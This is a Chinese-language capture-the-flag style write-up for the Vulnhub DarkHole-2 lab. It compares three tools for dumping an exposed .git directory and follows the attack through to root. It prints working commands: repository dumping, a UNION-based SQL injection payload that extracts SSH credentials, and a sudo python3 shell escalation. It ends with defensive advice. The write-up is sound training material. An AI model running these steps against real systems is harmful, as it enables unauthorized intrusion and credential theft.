Vulnhub DarkHole-2 靶场:3 种 Git 泄露利用工具实战对比
在渗透测试中,Git 源码泄露是 Web 安全研究人员经常遇到的一类漏洞。这类漏洞往往由于开发人员疏忽,将.git目录暴露在 Web 根目录下,导致攻击者可以获取网站的完整源代码。本文将基于 Vulnhub 的 DarkHole-2 靶机,深入对比分析三种主流的 Git 泄露利用工具:GitHacker、git-dumper 和手动 wget 方法。
1. Git 泄露漏洞概述
Git 源码泄露漏洞通常发生在开发人员将代码部署到生产环境时,错误地将.git目录一并上传。这个目录包含了版本控制的所有信息,包括:
- 完整的代码历史记录
- 分支信息
- 提交日志
- 可能的敏感配置信息
攻击者利用这些信息可以:
- 恢复完整的项目源代码
- 查看历史提交记录,寻找被删除的敏感信息
- 分析应用程序架构,寻找更多攻击面
在 DarkHole-2 靶机中,我们通过目录扫描发现了暴露的.git目录:
dirsearch -u http://192.168.56.105/ -e *扫描结果显示存在/.git/目录,这为我们提供了利用 Git 泄露漏洞的机会。
2. 三种 Git 泄露利用工具对比
2.1 GitHacker:全自动恢复工具
GitHacker 是一个功能强大的 Git 泄露利用工具,能够自动恢复完整的 Git 仓库,包括被删除的文件和提交历史。
安装方法:
pip install GitHacker使用命令:
githacker --url http://192.168.56.105/.git/ --output-folder ./darkhole_git工具特点:
- 自动恢复完整仓库:包括所有分支和标签
- 支持增量恢复:可以继续未完成的恢复过程
- 智能处理缺失对象:尝试从历史记录中重建缺失的文件
实战结果:
GitHacker 成功恢复了完整的仓库,包括三次提交记录。通过分析提交历史,我们发现了关键的用户凭证:
cd darkhole_git git log git diff a4d900a8d85e8938d3601f3cef113ee293028e10输出显示了一个邮箱和密码组合:lush@admin.com:321,这成为后续渗透的关键突破口。
2.2 git-dumper:轻量级 Git 仓库下载工具
git-dumper 是一个专门用于下载暴露的 Git 仓库的 Python 工具,相比 GitHacker 更加轻量。
安装方法:
pip install git-dumper使用命令:
git-dumper http://192.168.56.105/.git/ darkhole_dump工具特点:
- 简单易用:单一命令即可完成下载
- 支持断点续传:网络中断后可继续下载
- 进度显示:实时显示下载进度
实战结果:
git-dumper 同样成功下载了 Git 仓库,但相比 GitHacker,它需要更多手动操作来恢复完整历史:
cd darkhole_dump git fsck --full git reflog git log虽然最终也能获取相同的信息,但过程稍显复杂,适合对 Git 内部机制更熟悉的用户。
2.3 手动 wget 方法:基础但灵活
对于不想依赖第三方工具的情况,可以使用基本的 wget 命令手动下载 Git 对象。
操作步骤:
下载 Git 索引文件:
wget -r -np -nH -R "index.html*" http://192.168.56.105/.git/手动恢复 Git 对象:
git init darkhole_manual cd darkhole_manual cp -r ../192.168.56.105/.git/* .git/ git checkout -- .
方法特点:
- 无需额外工具:仅使用系统自带命令
- 完全控制过程:适合特殊情况的处理
- 学习价值高:深入理解 Git 内部机制
实战结果:
手动方法虽然可行,但遇到不完整的仓库时,恢复过程较为复杂,需要手动处理缺失的对象和引用。
3. 工具对比与选择建议
下表对比了三种方法的主要特点:
| 特性 | GitHacker | git-dumper | 手动 wget |
|---|---|---|---|
| 安装复杂度 | 中等 | 简单 | 无需安装 |
| 自动化程度 | 高 | 中 | 低 |
| 恢复完整性 | 优秀 | 良好 | 一般 |
| 适用场景 | 复杂恢复 | 快速下载 | 学习/调试 |
| 网络要求 | 较高 | 中等 | 灵活 |
| 对 Git 知识要求 | 低 | 中 | 高 |
选择建议:
- 优先选择 GitHacker:当需要完整恢复仓库,包括历史记录和可能被删除的文件时
- 快速简单选择 git-dumper:当只需要快速获取最新代码,不关心完整历史时
- 学习或调试时用手动方法:当需要深入理解 Git 内部机制或处理特殊情况时
4. 从 Git 泄露到系统渗透
获取源代码后,我们在提交历史中发现了关键凭证lush@admin.com:321。使用这些凭证成功登录系统后,发现了以下攻击路径:
- SQL 注入漏洞:在
dashboard.php?id=1处存在可注入点 - 数据库信息泄露:通过注入获取 SSH 凭证
jehad:fool - 权限提升:利用定时任务和 Python 的 SUID 权限完成提权
关键注入语句示例:
?id=-1' union select 1,2,group_concat(user,'~',pass),4,5,6 from ssh-- -最终通过 Python 提权获取 root 权限:
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'5. 防御建议
针对 Git 泄露漏洞,开发人员应采取以下防护措施:
生产环境删除 .git 目录:
rm -rf .gitWeb 服务器配置禁止访问 .git:
location ~ /\.git { deny all; }使用 .gitignore 文件:避免将敏感文件纳入版本控制
定期安全扫描:使用工具检查是否存在信息泄露
最小权限原则:确保 Web 用户只能访问必要的目录和文件